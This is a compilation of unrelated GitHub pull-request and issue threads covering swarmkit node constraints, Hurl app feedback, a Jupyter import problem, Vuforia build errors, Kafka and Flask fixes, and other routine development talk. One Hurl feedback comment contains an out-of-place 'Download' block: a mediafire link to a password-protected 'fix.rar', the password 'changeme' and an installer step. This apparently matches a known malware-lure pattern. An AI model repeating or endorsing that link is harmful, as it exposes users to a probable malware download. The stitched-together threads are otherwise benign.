Constraint fix retry

Lost repo connection in #846. Repost the PR.

[Current coverage][cc-pull] is 52.97%

Merging [#893][cc-pull] into [master][cc-base-branch] will increase coverage by 0.04%

File ...eduler/constraint.go was modified. more

Misses +2
Partials 0
Hits -2

File .../test/deepcopy.pb.go (not in diff) was modified. more

Misses -4
Partials -2
Hits +6

File ...chestrator/global.go (not in diff) was modified. more

Misses +6
Partials +2
Hits -8

File ca/config.go (not in diff) was modified. more

Misses 0
Partials -1
Hits +1

@@             master       #893   diff @@
==========================================
  Files            70         70
  Lines         11154      11157     +3
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits           5903       5910     +7
+ Misses         4428       4426     -2
+ Partials        823        821     -2

[][cc-pull]

Powered by Codecov. Last updated by [89a86f5...50728c0][cc-compare]
[cc-base-branch]: https://codecov.io/gh/docker/swarmkit/branch/master?src=pr
[cc-compare]: https://codecov.io/gh/docker/swarmkit/compare/89a86f5ced345d2347fcc605c705eff76be6435d...50728c0c4ebb3b2773271e560f5a8d027d78481c
[cc-pull]: https://codecov.io/gh/docker/swarmkit/pull/893?src=pr

ping @aluzzardi @stevvooe.

@dongluochen Rather than pull in a dependency for a 4 line function, could we just do a prefix scan on the node id index? That will support any length of id truncation, rather than the 12 character limit, which is n't really valid here.

@dongluochen Rather than pull in a dependency for a 4 line function, could we just do a prefix scan on the node id index? That will support any length of id truncation, rather than the 12 character limit, which isn't really valid here.

Agreed

@vieux I see you removed TruncateID in this change. Would TruncateID not be used for node ID?
I don't like supporting arbitrary length of ID truncation. We would get into trouble of ID prefix duplicate problem. I prefer matching either full ID or truncated ID which are shown in UI. And for this reason, we should reuse the package.

@dongluochen Fixed ID truncation is a broken model that does nothing to address collisions.
The only way to do secure id prefix support is the following:

have the entire dataset present and up to date.
Detect ambiguity but returning multiple results.

Without doing this, we can be opened up to a number of collision attacks.
This is the model git uses.

Several changes:

Docker doesn't show truncated ID as node ID. Remove truncated ID match and dependency on stringid.
Add node.role support. Users can select manager by --constraint node.role==manager.
Change string match to case insensitive. Recent changes in Docker is moving in that direction.

LGTM
I'm confused about how this is doing truncation matching, but the code looks fine.

@dongluochen can you confirm that we do no prefix matching anymore?

@diogomonica There is no prefix matching (or truncated ID matching) in current implementation. It's full text case-insensitive matching. In the future we may extend constraints to support globing or regular expression. But those would be explicit.

Address review comments. Here is a summary of the change.

Differentiate node.labels from engine.labels.
Add node.role support. Users can select manager by --constraint node.role==manager.
Change string match to case insensitive. No truncate ID, only full text match.
Add tests for each constraint type.

PTAL.

Hold :)
Not sure about this split between engine/node - an engine IS a node.
Maybe a better approach would be to use the engine labels to feed the initial node labels when we create the node and that's it - we only act on node labels.
It's going to be hella confusing otherwise to explain that nodes have two sets of labels, they get changed in a different way and matched in a different way.
Or call them something entirely different like attributes - but in the current state it's just too confusing IMO

Maybe a better approach would be to use the engine labels to feed the initial node labels when we create the node and that's it - we only act on node labels.

@diogomonica explicitly asks to forbid this path.

@aluzzardi @dongluochen I want a way to create constraints on attributes that can only be given by a user by submitting a new spec, and can't be selected by the nodes. I understand the difficulties of separating these, and it might be ok for us to have labels only be set on specs, and call the rest "resources" or "attributes" or whatever. But the requirement still stands:

Users need to have the ability of creating labels that can be used for scheduling decisions, but can't be faked by malicious worker nodes

@diogomonica It breaks automation however. Unless I'm going to label thousands of nodes manually, I need to rely on what --label I bake into my AMIs.

Agree with @aluzzardi that engine labels are widely accepted concept. How about we rename Node.Spec.Annotations.Labels to Node.Spec.Annotations.Attributes? Constraints on engine labels is --constraint node.labels.key==value. And Constraints on node attributes is --constraint node.attributes.key==value.

@aluzzardi I'm not saying it has to be the default path, I'm asking for a way of enforcing this functionality. We can create a new category of "secure-labels" if you want to, and only use them when people want to create different security zones.

I can see the use case for labels that must come from the user. It sounds to me like these are a different concept from the existing labels. If/when we add it in the future, it should be a separate field. I don't see anything here that precludes this addition.

So I don't think role should be a label right now.

Left a few comments. I like the general approach. It's confusing to have engine. and node., but it's correct. We can refactor these keys to have a common prefix if people want, but I think engine labels and node annotations should be kept separate.

So I don't think role should be a label right now.

@aaronlehmann Can you elaborate? role is in node spec, not label. There are requirements to run tasks on manager-only or worker-only.

@aaronlehmann Can you elaborate? role is in node spec, not label. There are requirements to run tasks on manager-only or worker-only.

Yes, I'm agreeing with the code in the PR.
I thought @aluzzardi was proposing that we put properties like the role in labels, but maybe I misunderstood.

Left a few comments. I like the general approach. It's confusing to have engine. and node., but it's correct.

I find that complex for no good reason.
Can we find a solution to this?

@aluzzardi What would you suggest here? node.labels and engine.labels might be confusing. But it's a hard requirement from compliance. How about renaming node.labels to something else?

We decide to put constraints on the following node attributes. Also update documentation.
ID matches node's ID, e.g., node.id == 2ivku8v2gvtg4
hostname matches node's hostname, e.g., node.hostname != node-2
role matches node's manager or worker role, e.g., node.role == manager
labels matches Docker Engine's labels, e.g., node.labels.disk == ssd

Update: current version supports node.labels and engine.labels.

node.id matches node's ID, e.g. node.id == 2ivku8v2gvtg4.

node.hostname matches node's hostname, e.g. node.hostname != node-2.
node.role matches node's manager or worker role, e.g. node.role == manager.
node.labels matches node's labels which are added by cluster admins to tag nodes, e.g. node.labels.security == high.
engine.labels matches Docker Engine's labels, e.g. node.labels.operatingsystem == ubuntu 14.04.
engine.labels are collected from Docker Engine and there is no overlapping with node.labels.

Awesome! Design LGTM. Will look at the code in a bit.
BTW - this example node.labels.operatingsystem == ubuntu 14.04 assumes you're using a label manually, right?

@aluzzardi the example under engine.label should be engine.labels.operatingsystem == ubuntu 14.04. Will update.

LGTM

LGTM


Feedback on v<IP_ADDRESS>

Hi @U-C-S, great job with this release. The problems I had with the settings menu not working in the alpha build are gone. Design-wise, I applaud the way the settings app's sidebar nav looks. It acts like a proper desktop app. The default behavior most Fluent design apps use, which either has the menu totally minimized or expanded way too wide at some unintuitive breakpoint, is very annoying (screen recording for example):

Here are my main critiques in order of importance. I believe all of these are long-standing and not specific to this build, but some of them are major pain points for me when using this app, and therefore worth mentioning.
Major

Please do not close the Hurl window until I either select a browser or press the X (minimize to tray) button. I find it to be a frustrating behavior for this window to close when I click anything other than the window.
Allow installation of a new version without first requiring that the user manually uninstall the prior version.

Minor

Allow changes in the settings to take effect without requiring the user to manually right-click > Exit Hurl.

Very minor nitpicks

Improve the rendering of icons. Looks like some suboptimal anti-aliasing. Here's a link to the exact icon file I'm using for the one in the middle that looks particularly bad.

The Hurl dropdown menu should use the standard toggle behavior when clicked rather than reopening an already-open dropdown.

The default settings window size is quite big, 1202 x 872 by my measurement. Something like 900 x 600 is more than sufficient and makes it feel less intrusive.

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Thanks for taking time and putting a feedback here. It's really helpful in understanding how others use the application.

Please do not close the Hurl window until I either select a browser or press the X (minimize to tray) button.

This could be a toggle from the settings. Shall put it for a release soon. I personally prefer this the way it is currently, hence why it is that way haha.

Allow installation of a new version without first requiring that the user manually uninstall the prior version

This is just optional something I could worded better in the release notes. since I encountered some issues myself during testing.

changes in the settings to take effect without requiring the user to manually right-click > Exit Hurl.

This is something I want to do in next release. Already have a prototype but don't want to have a feature creep for 0.9

Improve the rendering of icons

Also this one

default settings window size is quite big, 1202 x 872

Window sizing of Settings is a concern I had during dev. I need to more time to study/understand how WPF/WinUI apps does it.

Hi @stamminator thanks for the message. @U-C-S already responded to most, I just wanted to share some words of mine.

(do not auto close the Hurl window) We agree!
(without requiring manually uninstall) Agree. Have to look into the "how".
(apply changes) Yep, great idea.
(rendering of icons) Looks like it's the specific icon file. ICO files don't scale as smoothly as i.e. SVG will. Default icons looks perfect on my end.
(dropdown) As far as I know, this is default?
(window size) Totally agree!

Yes, definitely make "do not auto-close" a setting... though I'd say make it a checkbox on the bottom of the main window, instead of (or in addition to) buried in settings.
I wholly agree with @U-C-S that it should auto-close. After I've selected the browser for a link, I don't need that window to be hanging around just doing nothing, leaving me to then have to click the [X] every time to close it.
Not sure why you would want it to stay around, but ... clearly others have some use-case for that.
So definitely if this is added, it should be a setting, preferably defaulting to enabled.

Thank you both for the response. Some additional notes on the above feedback:
1 - (do not auto close the Hurl window) I would suggest that, once the setting is implemented, keeping the window open rather than closing upon an external click should be the default behavior, as I suspect this is what most people would expect. But as long as the option exists even if it's not the default, I'll be very happy.
4 - (rendering of icons) Aren't the default Firefox and Edge icons also using ICO, the ones embedded in the EXEs? I'm not aware of any SVGs that are being used.
5 - (dropdown) Here is the default toggle behavior I'm referring to.

@U-C-S At this risk of putting too much in this issue, I just want to mention one more thing. I sometimes find that more than one link is opened at a time before I have a chance to respond to either of them. A common use case is when you use Visual Studio or Rider to launch multiple web projects at once, e.g. http://localhost:50001 and http://localhost:50002. Last time I tested this, it didn't work too well. Do you know if this is a supported use case? If not, perhaps we could discuss a spec for a queuing feature.

I wholly agree with @U-C-S that it should auto-close. After I've selected the browser for a link, I don't need that window to be hanging around just doing nothing, leaving me to then have to click the [X] every time to close it.
Not sure why you would want it to stay around, but ... clearly others have some use-case for that. So definitely if this is added, it should be a setting, preferably defaulting to enabled.

I'm definitely not suggesting the window hang around after a browser is selected. I'm suggesting that the current behavior, which is to close the window if the user does some external click in the background, be changed (or configurable) so that the window persists until either a browser is selected in Hurl or the X button is pressed. Here's an example of what @Jay-o-Way initially referred to as auto-closing. Notice how a subsequent click closes Hurl:

Yes, definitely make "do not auto-close" a setting... though I'd say make it a checkbox on the bottom of the main window, instead of (or in addition to) buried in settings.

This might be nice, but having a satisfactorily detailed label/description such that the checkbox's purpose is clear to the user would probably take up too much space in the Hurl UI, which intended to be minimal I think just an entry in the settings is fine.

@eidylon I'm definitely not suggesting the window hang around after a browser is selected. I'm suggesting that the current behavior, which is to close the window if the user does some external click in the background, be changed (or configurable) so that the window persists until either a browser is selected in Hurl or the X button is pressed.

Ahh! Gotcha... yeah, that makes a lot more sense!  😂 ... I misunderstood your original idea.
Given that clarification, yeah, this wouldn't need to be on the main screen then.
I concur.

do not close the Hurl window until I either select a browser or press the X

Implemented it, currently in main. default being it minimizes (might come back to what should be the default before a release)

launch multiple web projects at once, e.g. http://localhost:50001 and http://localhost:50002
discuss a spec for a queuing feature

I wanted something similar some time ago. Right now not a priority

(dropdown) As far as I know, this is default?

Yes, it's the default behavior from WPF-UI. I will experiment with WinUI port of Hurl.BrowserSelector project sometime soon, which might resolve this and few other issues with UI if it works.

Allow changes in the settings to take effect without requiring the user to manually right-click > Exit Hurl.

I experimented on this again since last reply. while I could get few features to work and rest (like browsers) still needed a restart because of the way application is architectured. Best I could do is detect changes and notify the user to reload themselves or possibly reload automatically on next use.

@U-C-S Thank you! I'm running commit 8e18e06 and "Minimize on Focus Loss" set to off is working great. I just submitted a PR to fix a dev environment issue I ran into, but it's unrelated to any of these features. I think setting the default to off instead of on will be preferred for most people, but either way, it'll be well-received.
If it's not too complex, I think auto-reloading the app when the settings are changed is the way to go. Other than that, I agree the other issues are low priority. Definitely worth a dedicated release once both of these are in place.


Notebook can't import a local package

Environment data

VS Code version: XXX
Jupyter Extension version (available under the Extensions sidebar): v2021.9.1001312534
Python Extension version (available under the Extensions sidebar): v2021.10.1336267007
OS (Windows | Mac | Linux distro) and version: Windows 10
Python and/or Anaconda version: Python3.8
Type of virtual environment used (N/A | venv | virtualenv | conda | ...): N.A
Jupyter server running: Local | Remote | Local

Expected behaviour
Jupyter notebook identifies a local package with API.
Actual behaviour
Jupyter notebook does not identify a local package with API.
Steps to reproduce:
I have two projects, one with API: magnum-api and another with notebooks: magnum-nb. Both projects are located at C:\gitlab.
I would like to develop API in vs code and use it while executing notebooks. I created a workspace with both projects.

Following documentation and similar issues reported here, I created .env file, inside c:/gitlab/magnum-nb with the following content:
workspaceFolder=C:/gitlab/magnum-nb
PYTHONPATH=c:/gitlab/magnum-api

I also modified settings.json file to point to the .env file:
{
    "workbench.colorTheme": "Default Light+",
    "python.envFile": "${workspaceFolder}/.env",
    "jupyter.askForKernelRestart": false
}

When I open any notebook in magnum-nb project and execute
import sys
print(sys.path)

I expect to see the path to my api package: c:/gitlab/magnum-api, however, the path is not present in the path.
I guess I messed something up in the setting of .env file. Could you please kindly help me with getting the right settings.
Thanks in advance!

@chart-magnum Sorry quick clarification here. When you are executing that notebook, what notebook kernel (in the selector in the top right) are you using for execution?

Duplicate of https://github.com/microsoft/vscode-jupyter/issues/4593


Update layout for mixer and slider on overview page

Resolve #288

the icon sizes should be smaller on mobile

the icon sizes should be smaller on mobile

done


Vuforia/UIGLViewProtocol.h' file not found

Hi,
We have been trying to integrate Vuforia with our iOS app built using Swift. We have been getting this error: Vuforia/UIGLViewProtocol.h' file not found
We have also been facing issues with compiling - it shows up this error:
failed to emit precompiled header
Can you please advice why this could be happening?
thank you,

Hi @strappvivek
Which version of Vuforia is you using?
You may need to set correct Header Search Paths and Libarary Search Paths in Build Settings

We have resolved that issue. We were missing a few files. thanks

@yshrkt Hi Yoshi, I am getting this same error.
'Vuforia/UIGLViewProtocol.h' file not found
I am using: vuforia-sdk-ios-7-2-23
I have made sure the paths are correct in Build Settings.
Do you have any ideas why I am getting this error still?
The file is definitely there.

Thanks

I am facing same issue. How did you solve this issue ?


Replace open vault logo on Collection page

Get real logo from Logo farm rather than text in blue banner

Done


Add 'Append' abstraction, implementations and tests.

Fixes #1.

Thank your for your PR, the implementation of Append is great on both side cache and redis.
But for picfit, I think we can't use the APPEND operation as we need to easily iterate children keys of the original images.
This can be only done with a LIST or a SET as APPEND don't provide a clear separator.
SADD {original_key}:children "{thumbnail_key}"

Your opinion on that?

Well, my initial plan was to just invent some separator like : or ; and since we store only hashes, it will work just fine.
But if you think using redis sets is a better idea, then maybe it is. I haven't worked much with redis.

I'l try tol make an implementation for SetAdd tomorrow in gokvstores. But again, perhaps restrict it to set of string and implement it in cache as map[string]bool.

I merge this too even if we will not use it for picfit.
:+1:

Sure, the change is simple enough and I don't mind of course.


More aggregates supported in some situations

Fixes https://github.com/citusdata/citus_docs/issues/894

@serprex what do you think about this rewrite?
Should we also include a full list of Citus' "special-case" aggregates? Can you give me that list?

This looks good
The aggregates which we have specialized support for are here: https://github.com/citusdata/citus/blob/master/src/include/distributed/multi_logical_optimizer.h#L133-L142
The builtin aggregates which fall under COMBINEFUNC are listed here: https://github.com/citusdata/citus/pull/2921#issuecomment-550061292
(Note that we prefer specialized support to COMBINEFUNC)


POST data with Microsoft Office MIME type

Hello again,
Could you help with following question: I need to POST content of XLSX file using Microsoft Office MIME type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', right now always get:
File "C:\Python27\lib\site-packages\pyswagger\primitives\codec.py", line 28, in marshal
raise Exception('Could not find codec for %s, value: %s, args: %s' % (mime, value, kwargs))
Exception: Could not find codec for application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
What would be the proper way to do this using Pyswagger? Should I create some customized MIME codec like it is described here: https://github.com/mission-liao/pyswagger/blob/master/docs/md/tutorial/mime.md
Thanks in advance!
Alexey

Yes, that's a hook for users to provide custom mime types.


Optimizations

Currently, this implementation of FreeU uses blocking operations for each block of the unet.  This is terrible for performance, it forces device syncs to happen for every single unet block, which will leave the GPU idle for substantial periods of time.
I changed the operations that create the mask to have the tensor created on device and changed the slice multiply to a plain multiply.  Now this plugin has about 60% less performance impact (from 6.15 it/s to 6.85 it/s with a baseline of 7.3 it/s).  GPU usage during generation additionally increased from 91% to 99-100% (with other optimizations elsewhere in A1111 that remove the blocking operations there)
This probably could be optimized even further, but at least it isn't blocking torch dispatch anymore.  It might not show as much of an impact until some other optimization work on A1111 gets merged (see https://github.com/lllyasviel/stable-diffusion-webui-forge/discussions/716).

A more efficient way of doing this would be to cache the mask. Will consider adding this later. Thanks for the contribution.


KAFKA-12867: Fix ConsumeBenchWorker exit behavior for maxMessages config

Bug:
The trogdor ConsumeBenchWorker has a bug. If one of the consumption tasks completes executing successfully due to maxMessages being consumed, then, the consumption task notifies the doneFuture causing the entire  ConsumeBenchWorker to halt. This becomes a problem when more than 1 consumption task is running in parallel, because the successful completion of 1 of the tasks shuts down the entire worker while the other tasks are still running. When the worker is shut down, it kills all the active consumption tasks, which is not the desired behavior.
How to reproduce?:
The bug is easily reproducible by running a ConsumeBenchSpec task configured with maxMessages value and threadsPerWorker > 1. When a trogdor workload is started with such a spec, and when one of the threads (i.e. consumption task) has consumed maxMessages, you can notice that it prematurely shuts down the worker although the other threads have not consumed at least maxMessages.
Fix:
The fix is to not notify the doneFuture when 1 of the consumption tasks complete without error. Instead, we should defer the notification to the CloseStatusUpdater thread.

cc @junrao @apovzner @rajinisivaram for review.
@apovzner It appears this behavior has been around since ConsumeBenchWorker was first implemented: https://github.com/apache/kafka/pull/4775. Please let me know your thoughts.


change git clone url

Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights

:+1:


Support for modern image formats.

Is your feature request related to a problem? Please describe.
There is a lack of support for newer standards of image formats.
I have started using JPEG XL for still images but there are no convenient way to view them on android. And I use AVIF to replace my GIFs but same issues here as well.
Describe the solution you'd like
Adding support for JPEG XL and AVIF will not only solve this issue but also make the app future-ready.
Describe alternatives you've considered
For now, I'm using standalone apps for decoding and viewing AVIF and JPEG XL (AVIF viewer and Jpeg XL Viewer). They have some issues and are inconvenient but work good enough.
Thanks.

Regarding JPEG XL, there's already this issue:

#56

As for AVIF, decoding support is already provided by the device (from Android 12 onwards, if my memory serves me correctly) and i don't intend to provide separate AVIF support for older devices.

Just to clarify re: AVIF, this means the app should play well with the files as long as the device supports (and is running) some form of Android 12 and above? I mean, aside from bugs and quirks, it should basically work out of the box?

Yes, for decoding. But metadata listing and editing isn't supported.

Ah, that makes sense. Also, I saw in the other issue thread you mentioned possibly using FFmpeg to possibly decode them for older Android versions. Did that not seem viable?

It was just an idea, and I didn't explore it because it doesn't seem necessary. Having AVIF support on modern devices only is good enough for me.

Alright. I was just curious if it turned out to not be viable. Thanks for clarifying.


[main] Upgrade to latest dependencies

release -kvmware
/cc we don't use Prow
/assign we don't use Prow
Produced by: knative-sandbox/knobots/actions/update-deps
Details:
bumping knative.dev/serving 7f681da...604cd18:
  > 604cd18 update boilerplate year (# 12699)
  > 25ce427 Adds detail to initialScale validation error msgs (# 12704)
  > afe46a9 Probe port different than container port (# 12606)
  > f911fe0 removing no longer needed todo (# 12702)
  > f428fa5 upgrade to latest dependencies (# 12703)
  > d59e273 Update net-istio nightly (# 12696)
  > 964234a Update net-certmanager nightly (# 12695)
  > ec22471 remove podspeed data collection from ci (# 12700)
  > 15b9e1b fix validation bug for autoscaling/target (# 12698)
  > 1213bc7 Update net-contour nightly (# 12694)
  > 3e63ea9 Update net-kourier nightly (# 12683)
  > 98cbb49 Update actions (# 12687)
  > b70e897 Update net-gateway-api nightly (# 12682)
  > 80caa6e Update net-contour nightly (# 12689)
  > 323f632 Update community files (# 12690)
  > 43f84e8 Update net-certmanager nightly (# 12685)
  > 0de3753 upgrade to latest dependencies (# 12684)
bumping knative.dev/client d12d4cd...c2fe56c:
  > c2fe56c Refactor version command to use go modules (# 1621)
  > d0b3d0a upgrade to latest dependencies (# 1620)
  > 7be13f0 Traffic split auto redirection should only consider the active revisions  (# 1617)
  > 8ac7a82 Update changelog for 1.3 release (# 1619)
  > e7bd7f2 upgrade to latest dependencies (# 1618)
bumping knative.dev/eventing 9590bc3...9590bc3:
bumping knative.dev/networking 6f27842...e8b2eb9:
  > e8b2eb9 Update community files (# 629)
  > 9ba6cf4 Update actions (# 627)
  > e2b9815 Support TLS server for each test image (# 609)

Codecov Report

Merging #386 (5a92228) into main (8986660) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main     #386   +/-   ##
=======================================
  Coverage   83.04%   83.04%
=======================================
  Files          27       27
  Lines        1032     1032
=======================================
  Hits          857      857
  Misses        148      148
  Partials       27       27

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8986660...5a92228. Read the comment docs.


Ext: Introduce Labels widget

Description
Changes proposed in this pull request:

Added a Labels widget that handles objects, arrays and simple types
Added a docs about the Labels widget
Improved Pizza Order example to use a Labels widget

Related issue(s)
Resolves #1545

/retest

/test pre-busola-integration-test-k3s-namespace

/retest


register doesn't assert SessionStoreMaker and CookieStoreMaker are non-nil

This results in a panic for any hit on /register.

From the docs in the config object:
https://github.com/go-authboss/authboss/blob/master/config.go
// CookieStoreMaker must be defined to provide an interface capapable of storing cookies
// for the given response, and reading them from the request.
CookieStoreMaker CookieStoreMaker
// SessionStoreMaker must be defined to provide an interface capable of storing session-only
// values for the given response, and reading them from the request
SessionStoreMaker SessionStoreMaker

Must be defined - The panic is completely intentional as Authboss cannot function without the concepts of sessions and cookies.

Oops, didn't reference my PR: in #88 I added a failure to startup when either of those things are missing, in addition to the panic.


examples: TTI 1st order operators

Currently, only 1st order Forward TTI operator is supported. This PR adds the missing 1st order ops (i.e., adjoint) to the AnisotropicWaveSolver class

I committed a number of errors in this PR. Can someone please add a WIP tag, thx

@ofmla added

I am facing some problems with the TTI 1st order Born operator and it can take a while to go to its roots and fix them. So, consider this PR as the addition of the 1st order adjoint operator.  @mloubout take a look when you get a chance

Hey @ofmla , just to be sure -- this is still unresolved right?

I am facing some problems with the TTI 1st order Born operator and it can take a while to go to its roots and fix them

Hey @ofmla , just to be sure -- this is still unresolved right?

I am facing some problems with the TTI 1st order Born operator and it can take a while to go to its roots and fix them

Sorry, I didn't see your message before. Yes, it is not yet solved, but the PR can be revised as it is now (only the adjoint of the 1st order forward operator). The solution to the Born issue will come in another PR I hope.

that stability test already exists in https://github.com/devitocodes/devito/blob/master/examples/seismic/tti/tti_example.py#L44 or are you talking about another different test? I will review it again before  rebasing


No way to manage dashboards

Interacting with this product is a truly frustrating experience, because there is so much potential here. Most critically, there does not seem to be any mechanism for managing dashboards once they have been published. There is no option to see all the URLs of dashboards you have previously published, to delete them, to change their configuration (e.g., the charts to embed, layout of charts, banner customization). Reloading the page dashboards.ly/create page always reverts the user back to the default username (benji.b) and default API Key.

I am with you 100%, I find it hard to understand why that is the case

Definitely need a way to edit dashboard features.


e2e: delete applications using api

Fixes
https://issues.redhat.com/browse/HAC-3706
Description
make after hooks faster and not prone to clicking errors by using the API instead or UI

/retest

/retest

/lgtm

/retest

/retest-required

/retest-required

/retest

/lgtm


add the ability to set a subset of feature flags from Info.plist

Bug/issue #, if applicable: rdar://126305435
Summary
This PR adds a new field to the Info.plist to set feature flags without using the command line. Right now, this only adds support for the overloads feature, but this mechanism is in place to facilitate adopting experimental features that affect how a bundle is written.
Dependencies
None
Testing
To test this feature, make a copy of the OverloadedSymbols.docc test bundle and modify its Info.plist to look like this:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CFBundleName</key>
	<string>ShapeKit</string>
	<key>CFBundleDisplayName</key>
	<string>ShapeKit</string>
	<key>CFBundleIdentifier</key>
	<string>com.shapes.ShapeKit</string>
	<key>CFBundleVersion</key>
	<string>0.1.0</string>
	<key>CDExperimentalFeatureFlags</key>
	<dict>
		<key>ExperimentalOverloadedSymbolPresentation</key>
		<true/>
	</dict>
</dict>
</plist>

Steps:

Overwrite Tests/SwiftDocCTests/Test Bundles/OverloadedSymbols.docc/Info.plist with the above content, or copy OverloadedSymbols.docc into a new location and overwrite its Info.plist there.
Ensure that DOCC_HTML_DIR is set to a recent main branch of Swift-DocC-Render or swift-docc-render-artifact.
swift run docc preview Tests/SwiftDocCTests/Test\ Bundles/OverloadedSymbols.docc (replace the bundle path if you copied it to a new location)
Navigate to OverloadedProtocol and ensure that only one fourthTestMemberName(test:) is curated in the topic groups.

Checklist
Make sure you check off the following items. If they cannot be completed, provide a reason.

[x] Added tests
[x] Ran the ./bin/test script and it succeeded
[x] Updated documentation if necessary

@swift-ci Please test

@swift-ci Please test

I pushed a handful of commits to update the PR:

DocumentationBundle.Info.FeatureFlags has been renamed to BundleFeatureFlags because i ran into too many collision issues when writing docs. 😅
The parsed feature flags are now saved to the global feature flags when the bundle is being registered in the DocumentationContext. I wasn't sure if there was a better place to to the saving that wasn't in the BundleFeatureFlags initializer. I didn't want to store it there because i didn't want to mess up the test runner by leaving the flag on for everyone when it wasn't meant to be set.
There is now a method on FeatureFlags that imports feature flags from a bundle's plist flags, which should be updated to set flags that can be loaded from Info.plist. This lives in the global FeatureFlags file, so people who are writing new feature flags can decide whether to add it to Info.plist when they are adding the flag.
The references to the overloads feature flag have been reset to use the global feature flag, and the computedFeatureFlags concept has been removed.
Any keys given to CDExperimentalFeatureFlags that don't match a known key will now generate a warning, also at the time the bundle is registered.
The new docs article has been updated to reflect the loss of computedFeatureFlags and to include the wording tweaks from @patshaughnessy.

@d-ronnqvist @patshaughnessy @sofiaromorales @daniel-grumberg If y'all could give this another look i'd really appreciate it 💚

@swift-ci Please test

@swift-ci Please test

@swift-ci Please test

@swift-ci Please test


Add Treemap Export

export the treemap as an image file (e.g. .png or .jpg) which includes the treemap, as well as the JobHopper logo and perhaps a short line of text below it in small font.
The text could say: This visualization shows where {name of occupation} move to when they switch occupation. The visualization was created by Code for Boston’s JobHopper team, using data from 16 million U.S. workers’ resumes compiled by Burning Glass Technologies.

Started design of this.

Started design of this.

closing issue per #294


Fix spec command for complex data types

Modified the spec_command method to use the Flask application's JSON provider instead of the built-in json module when dumping the spec. This provides consistent JSON serialization behavior when using the flask spec command.
Fixes #547.
To ensure access to the .json attribute of the Flask app, I had to bump the minimum Flask version to 2.2.0 (where it was first introduced), which necessitated version bumps of Werkzeug and Flask-HTTPAuth as well. The other versioning changes were auto-generated by  pip-compile-multi.
Checklist:

[x] Add tests that demonstrate the correct behavior of the change. Tests should fail without the change.
[x] Add or update relevant docs, in the docs folder and in code docstring.
[x] Add an entry in CHANGES.md summarizing the change and linking to the issue.
[x] Add *Version changed* or *Version added* note in any relevant docs and docstring.
[x] Run pytest and tox, no tests failed.

We need to support Flask 2.0.x and 2.1.x version, at least before the APIFlask 3.0 version (see also #479). Let's keep the .json attr change to the next major version. For now, we could just import the json module from Flask.

Merged, thanks! I'll make a new fix release this weekend.


GROOVY-7569: Use verbose formatting for PowerAsserts

See JIRA for more explanation. (https://issues.apache.org/jira/browse/GROOVY-7569)
This was based on the recently merged GROOVY-7563, so not sure if can be backported without those other commits.

@paulk-asert The PR looks good. How about merging it?
P.S. It seems that I have not privilege to merge PR.

Merging isn't done through the github interface - that's an Apache workflow "feature". Instead just manually merge and amend (one of) the commit(s) to include wording like: "(closes #374)".

I'll merge it after running some checks.

Applied. Thanks. (Not backported to 2_4_X)

Great pull request. :+1: Really sad it too so long to be merged.

thanks. I actually had forgotten about it.


Implement ConfigDataSource class for Bank Config endpoint

As an SDK user,
I WANT
To be able to fetch all the bank's configuration details
SO THAT
I can I know who is the primary validator of the bank and other connection settings to properly connect to the bank.
Documentation for bank transactions endpoints for GET requests https://thenewboston.com/bank-api/config
Tech notes:
Endpoint -> http://<IP_ADDRESS>/config

Hi IanArb, please share your account number so that we know where to send your coins. Every accepted PR gets paid. If you do not yet have an account then please download the account manager here https://thenewboston.com/download and follow these steps https://thenewboston.com/account-manager/create-an-account to create an account.”
After they give you their account number, add their account information to the contributors.csv file
Their github_avatar_url can be found by visiting https://api.github.com/users/buckyroberts (replace buckyroberts with their username) and finding the avatar_url

Hey @Niekon01 this was contributed by @matthewrkula Matt can you provide your account number?


Unintrusive catkin compatibility

Hi @gehrinch ,
These changes make kindr catkin compatible without forcing anyone to require/need catkin. Please take a look and let me know if you have any quesitons!

See Feature/catkin compliant


GH-77: [feat] Add update for events

Implement PUT and PATCH Methods to Update Event Model in Event-Service
Description
This PR introduces two new endpoints in the event-service to enable updating event details:

PUT (/events/{eventId}): Allows a full replacement of an event's details.
PATCH (/events/{eventId}): Enables partial updates to specific fields of an event.

Both endpoints include validation, authentication, and authorization mechanisms to ensure data integrity and security. Comprehensive unit and integration tests were written to verify correctness and edge cases. Swagger documentation was updated to provide clear usage instructions for developers.

Changes Implemented
1. PUT Endpoint (/events/{eventId})

Purpose: Fully replace the existing event object with the data provided in the request body.
Implementation Details:

Added the putEvent method in EventController.
Developed service-layer logic to:

Validate the input.
Check event existence.
Overwrite all fields in the event object.

Ensured that only authenticated users can perform this action.

2. PATCH Endpoint (/events/{eventId})

Purpose: Allow partial updates to specific fields of an event while retaining unmodified data.
Implementation Details:

Added the patchEvent method in EventController.
Implemented logic in the service layer to:

Validate the provided fields.
Check event existence.
Apply only the changes from the request, leaving other fields intact.

Ensured that only authenticated users can perform this action.

3. Validation and Authorization

Input validation added to prevent invalid or malicious updates.
Authentication enforced to allow only authorized users to update events.
Checked for event existence before attempting updates, with appropriate error responses.

4. Testing

Unit Tests:

Covered edge cases and behavior of putEvent and patchEvent methods.
Validated repository interactions using mocks.

Integration Tests:

Verified end-to-end functionality of PUT and PATCH endpoints, including:

Request/response validation.
Persistence behavior.

Files Modified/Added

Controller:

EventController: Added putEvent and patchEvent methods.

Service:

EventService: Added putEvent and patchEvent methods.

Models:

Enhanced request models for differentiation between full and partial updates.

Repository:

Leveraged existing repository methods for data persistence.

Testing:

EventServiceTest: Added unit tests for service methods.
EventControllerIntegrationTest: Added integration tests for endpoint behavior.

This may be a bit late, but I think it would be a good idea to add some javadoc for both endpoints, as put and patch may be confusing down the line

This may be a bit late, but I think it would be a good idea to add some Javadoc for both endpoints, as put and patch may be confusing down the line

Maybe using the @Operation for Swagger docs is enough?
